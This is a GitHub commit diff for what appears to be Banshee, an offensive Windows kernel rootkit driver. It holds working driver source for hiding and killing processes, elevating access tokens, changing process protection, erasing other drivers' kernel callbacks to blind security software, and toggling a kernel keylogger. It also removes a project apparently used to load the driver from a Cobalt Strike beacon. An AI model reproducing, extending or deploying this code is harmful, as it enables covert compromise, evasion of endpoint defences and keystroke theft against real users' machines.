Skip to content

Commit

Permalink
Communication over shared memory. v0.1.0
Browse files Browse the repository at this point in the history
  • Loading branch information
eversinc33 committed Mar 13, 2024
1 parent 34dbb87 commit d32da6d
Show file tree
Hide file tree
Showing 15 changed files with 529 additions and 593 deletions.
10 changes: 0 additions & 10 deletions Banshee.sln
Original file line number Diff line number Diff line change
Expand Up @@ -7,16 +7,6 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Banshee", "Banshee\Banshee.
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BansheeClient", "BansheeClient\BansheeClient.vcxproj", "{8F2EACB8-BB52-4244-AB42-2E9D2BE51F7B}"
EndProject
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "LoadDriverBOF", "LoadDriverBOF", "{08F773D8-5049-43C3-9A99-0465A8608F98}"
ProjectSection(SolutionItems) = preProject
LoadDriverBOF\beacon.h = LoadDriverBOF\beacon.h
LoadDriverBOF\bofcompile.bat = LoadDriverBOF\bofcompile.bat
LoadDriverBOF\LICENSE = LoadDriverBOF\LICENSE
LoadDriverBOF\loaddriver.c = LoadDriverBOF\loaddriver.c
LoadDriverBOF\loaddriver.cna = LoadDriverBOF\loaddriver.cna
LoadDriverBOF\loaddriver.h = LoadDriverBOF\loaddriver.h
EndProjectSection
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|ARM64 = Debug|ARM64
Expand Down
27 changes: 7 additions & 20 deletions Banshee/AddressUtils.hpp
Original file line number Diff line number Diff line change
@@ -1,5 +1,11 @@
#pragma once

enum ModuleName
{
NtOsKrnl = 0,
Win32kBase = 1
};

#include <ntifs.h>
#include <wdf.h>
#include "Globals.hpp"
Expand All @@ -8,12 +14,6 @@
#include "DriverMeta.hpp"
#include "ProcessUtils.hpp"

enum ModuleName
{
NtOsKrnl = 0,
Win32kBase = 1
};

/**
* Get offset to the access token from the EPROCESS structure, depending on the OS version.
* Taken from https://github.com/Idov31/Nidhogg/blob/2776908e86c34771d0663e931b1930c64a9d4b15/Nidhogg/WindowsTypes.hpp
Expand Down Expand Up @@ -148,20 +148,7 @@ BeGetSystemRoutineAddress(const IN ModuleName& moduleName, IN CHAR* functionToRe
if (inWin32kModule)
{
// Attach to winlogon
PEPROCESS targetProc = 0;
UNICODE_STRING processName;
RtlInitUnicodeString(&processName, L"winlogon.exe");

HANDLE procId = BeGetPidFromProcessName(processName);
LOG_MSG("Found winlogon PID: %i\n", procId);

if ((PsLookupProcessByProcessId(procId, &targetProc) != 0))
{
ObDereferenceObject(targetProc);
return NULL;
}

KeStackAttachProcess(targetProc, &apc);
KeStackAttachProcess(BeGlobals::winLogonProc, &apc);
}

// Parse headers and export directory
Expand Down
1 change: 1 addition & 0 deletions Banshee/Banshee.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -94,6 +94,7 @@
</ClCompile>
<Link>
<AdditionalOptions>/INTEGRITYCHECK %(AdditionalOptions)</AdditionalOptions>
<AdditionalDependencies>Ksecdd.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
Expand Down
6 changes: 3 additions & 3 deletions Banshee/Banshee.vcxproj.filters
Original file line number Diff line number Diff line change
Expand Up @@ -32,9 +32,6 @@
<ClInclude Include="Misc.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="IOCTLS.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ProcessUtils.hpp">
<Filter>Header Files</Filter>
</ClInclude>
Expand Down Expand Up @@ -68,6 +65,9 @@
<ClInclude Include="Keylogger.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Commands.hpp">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<None Include="..\README.md" />
Expand Down
2 changes: 2 additions & 0 deletions Banshee/CallbackUtils.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -258,6 +258,8 @@ BeEmptyCreateThreadNotifyRoutine(
NTSTATUS
BeReplaceKernelCallbacksOfDriver(PWCH targetDriverModuleName, CALLBACK_TYPE type)
{
LOG_MSG("Target: %S\n", targetDriverModuleName);

// get address for the kernel callback array
auto arrayAddr = BeGetKernelCallbackArrayAddr(type);
if (!arrayAddr)
Expand Down
180 changes: 21 additions & 159 deletions Banshee/Commands.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -15,54 +15,19 @@
// --------------------------------------------------------------------------------------------------------
// Command

enum COMMAND_TYPE
enum COMMAND_TYPE
{
NONE,
KILL_PROCESS,
PROTECT_PROCESS,
ELEVATE_TOKEN,
HIDE_PROCESS,
ENUM_PROCESS_CALLBACKS,
ENUM_THREAD_CALLBACKS,
ERASE_CALLBACKS,
START_KEYLOGGER,
GET_KEYLOG
NONE = 0,
KILL_PROCESS = 1,
PROTECT_PROCESS = 2,
ELEVATE_TOKEN = 3,
HIDE_PROCESS = 4,
ENUM_CALLBACKS = 5,
ERASE_CALLBACKS = 6,
START_KEYLOGGER = 7,
UNLOAD = 8
};

typedef struct _PROTECT_PROCESS_PAYLOAD {
COMMAND_TYPE cmdType;
ULONG pid;
BYTE newProtectionLevel;
} PROTECT_PROCESS_PAYLOAD;

typedef struct _EMPTY_PAYLOAD {
COMMAND_TYPE cmdType;
};

typedef struct _PID_PAYLOAD {
COMMAND_TYPE cmdType;
ULONG pid;
};

typedef struct _DWORD_PAYLOAD {
COMMAND_TYPE cmdType;
DWORD dw;
};

typedef struct _WSTR_PAYLOAD {
COMMAND_TYPE cmdType;
WCHAR charString[64];
};

using KILL_PROCESS_PAYLOAD = _PID_PAYLOAD;
using HIDE_PROCESS_PAYLOAD = _PID_PAYLOAD;
using ELEVATE_PROCESS_PAYLOAD = _PID_PAYLOAD;
using ERASE_CALLBACKS_PAYLOAD = _WSTR_PAYLOAD;
using ENUM_PROCESS_CALLBACKS_PAYLOAD = _EMPTY_PAYLOAD;
using ENUM_THREAD_CALLBACKS_PAYLOAD = _EMPTY_PAYLOAD;
using START_KEYLOGGER_PAYLOAD = _DWORD_PAYLOAD;
using GET_KEYLOG_PAYLOAD = _EMPTY_PAYLOAD;

// --------------------------------------------------------------------------------------------------------

typedef struct _CALLBACK_DATA {
Expand All @@ -78,82 +43,12 @@ NTSTATUS BeCmd_ProtectProcess(ULONG pid, BYTE newProcessProtection);
NTSTATUS BeCmd_ElevateProcessAcessToken(HANDLE pid);
NTSTATUS BeCmd_KillProcess(HANDLE pid);
NTSTATUS BeCmd_HideProcess(HANDLE pid);
NTSTATUS BeCmd_EnumerateCallbacks(CALLBACK_TYPE type);
NTSTATUS BeCmd_EraseCallbacks(PWCHAR targetDriver);
ktd::vector<KernelCallback, PagedPool> BeCmd_EnumerateCallbacks(CALLBACK_TYPE callbackType);
NTSTATUS BeCmd_EraseCallbacks(PWCHAR targetDriver, CALLBACK_TYPE cbType);
NTSTATUS BeCmd_StartKeylogger(BOOLEAN start);

// --------------------------------------------------------------------------------------------------------

/**
* TODO
*/
NTSTATUS
BeExecuteCommand(PVOID commandBuffer)
{
NTSTATUS status;

DWORD commandType = ((DWORD*)commandBuffer)[0];

switch (commandType)
{
case KILL_PROCESS:
{
ULONG targetPid = ((KILL_PROCESS_PAYLOAD*)commandBuffer)->pid;
status = BeCmd_KillProcess(ULongToHandle(targetPid));
}
break;

case ELEVATE_TOKEN:
{
ULONG targetPid = ((ELEVATE_PROCESS_PAYLOAD*)commandBuffer)->pid;
status = BeCmd_ElevateProcessAcessToken(ULongToHandle(targetPid));
}
break;

case PROTECT_PROCESS:
{
auto payload = ((PROTECT_PROCESS_PAYLOAD*)commandBuffer);
status = BeCmd_ProtectProcess(payload->pid, payload->newProtectionLevel);
}
break;

case HIDE_PROCESS:
{
ULONG targetPid = ((HIDE_PROCESS_PAYLOAD*)commandBuffer)->pid;
status = BeCmd_HideProcess(ULongToHandle(targetPid));
}
break;

case ENUM_PROCESS_CALLBACKS:
{
status = BeCmd_EnumerateCallbacks(CreateProcessNotifyRoutine);
}
break;

case ENUM_THREAD_CALLBACKS:
{
status = BeCmd_EnumerateCallbacks(CreateThreadNotifyRoutine);
}
break;

case ERASE_CALLBACKS:
{
PWCHAR targetDriver = ((ERASE_CALLBACKS_PAYLOAD*)commandBuffer)->charString;
status = BeCmd_EraseCallbacks(targetDriver);
}
break;

case START_KEYLOGGER:
{
BOOLEAN start = (BOOLEAN)((START_KEYLOGGER_PAYLOAD*)commandBuffer)->dw;
status = BeCmd_StartKeylogger(start);
}
break;
}

return status;
}

/**
* Method for setting the protection of an arbitrary process by PID.
*
Expand All @@ -170,7 +65,6 @@ BeCmd_ProtectProcess(ULONG pid, BYTE newProtectionLevel)
PEPROCESS process = BeGetEprocessByPid(pid);
if (process == NULL)
{
ObDereferenceObject(process);
return STATUS_INVALID_PARAMETER_1;
}

Expand Down Expand Up @@ -297,63 +191,30 @@ BeCmd_HideProcess(HANDLE pid)
* Enumerates kernel callbacks
*
* @param type Type of callback to resolve
* @return NTSTATUS status code.
* @returns ktd::vector<KernelCallback, PagedPool> Vector of callbacks
*/
NTSTATUS
ktd::vector<KernelCallback, PagedPool>
BeCmd_EnumerateCallbacks(CALLBACK_TYPE type)
{
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
LOG_MSG("IOCTL enumerate callbacks\r\n");

// TODO
/*
__try
{
// find callbacks
auto callbackVector = BeEnumerateKernelCallbacks(type);
// setup buffer
ULONG dwDataSize = callbackVector.size() * sizeof(CALLBACK_DATA);
// write buffer to output buffer
for (INT i = 0; i < callbackVector.size(); ++i)
{
RtlCopyMemory(&(pOutputBuffer[i].driverBase), &(callbackVector[i].driverBase), sizeof(UINT64));
RtlCopyMemory(&(pOutputBuffer[i].offset), &(callbackVector[i].offset), sizeof(UINT64));
if (!BeIsStringNull(callbackVector[i].driverName))
{
SIZE_T strLen = wcslen(callbackVector[i].driverName) + 1;
DbgPrint("Size: %i of %ws\r\n", strLen, callbackVector[i].driverName);
RtlCopyMemory(&(pOutputBuffer[i].driverName), callbackVector[i].driverName, strLen * sizeof(WCHAR));
}
}
LOG_MSG("Copied\r\n");
NtStatus = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
NtStatus = GetExceptionCode();
}
*/

return NtStatus;
return BeEnumerateKernelCallbacks(type);
}

/**
* Replaces all kernel callbacks of a specified driver with empty callbacks.
*
* @param targetDriver Name of target driver
* @param cbType type of callback to remove
* @return NTSTATUS status code.
*/
NTSTATUS
BeCmd_EraseCallbacks(PWCHAR targetDriver)
BeCmd_EraseCallbacks(PWCHAR targetDriver, CALLBACK_TYPE cbType)
{
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;

// TODO: also get type of callback. for now hardcoded to createprocess callbacks
NtStatus = BeReplaceKernelCallbacksOfDriver(targetDriver, CreateProcessNotifyRoutine);
NtStatus = BeReplaceKernelCallbacksOfDriver(targetDriver, cbType);

return NtStatus;
}
Expand All @@ -368,6 +229,7 @@ NTSTATUS
BeCmd_StartKeylogger(BOOLEAN start)
{
BeGlobals::logKeys = start;
LOG_MSG("Log keys: %d\n", start);

return STATUS_SUCCESS;
}
Loading

0 comments on commit d32da6d

Please sign in to comment.